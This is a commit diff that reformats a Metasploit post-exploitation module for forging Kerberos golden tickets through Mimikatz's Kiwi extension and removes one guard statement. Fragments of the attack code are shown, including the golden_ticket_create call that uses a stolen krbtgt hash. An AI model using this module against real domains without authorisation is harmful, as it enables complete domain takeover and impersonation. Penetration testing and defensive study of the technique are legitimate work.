Reformat, remove unnecessary guard statement

bug/bundler_fix
Meatballs 2014-12-13 21:06:55 +00:00
parent 0e976041b7
commit 9670608380
1 changed files with 21 additions and 24 deletions

View File

@ -10,25 +10,26 @@ class Metasploit3 < Msf::Post
include Msf::Post::Windows::Error
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Escalate Golden Ticket',
'Description' => %q{
This module will create a Golden Kerberos Ticket using the Mimikatz Kiwi Extension. If no
options are applied it will attempt to identify the current domain, the domain administrator
account, the target domain SID, and retrieve the krbtgt NTLM hash from the database. By default
the well-known Administrator's groups 512, 513, 518, 519, and 520 will be applied to the ticket.
},
'License' => MSF_LICENSE,
'Author' => [
'Ben Campbell'
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'References' =>
[
['URL', 'https:/github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos'],
['URL', 'http://blog.cobalstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/']
]
super(update_info(
info,
'Name' => 'Windows Escalate Golden Ticket',
'Description' => %q{
This module will create a Golden Kerberos Ticket using the Mimikatz Kiwi Extension. If no
options are applied it will attempt to identify the current domain, the domain administrator
account, the target domain SID, and retrieve the krbtgt NTLM hash from the database. By default
the well-known Administrator's groups 512, 513, 518, 519, and 520 will be applied to the ticket.
},
'License' => MSF_LICENSE,
'Author' => [
'Ben Campbell'
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'References' =>
[
['URL', 'https:/github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos'],
['URL', 'http://blog.cobalstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/']
]
))
register_options(
@ -101,11 +102,7 @@ class Metasploit3 < Msf::Post
fail_with(Failure::Unknown, 'Unable to find User')
end
end
unless user && domain && domain_sid && krbtgt_hash
fail_with(Failure::Unknown, 'Not all requirements obtained')
end
print_status("Creating Golden Ticket for #{domain}\\#{user}...")
ticket = client.kiwi.golden_ticket_create(user, domain, domain_sid, krbtgt_hash, id, groups)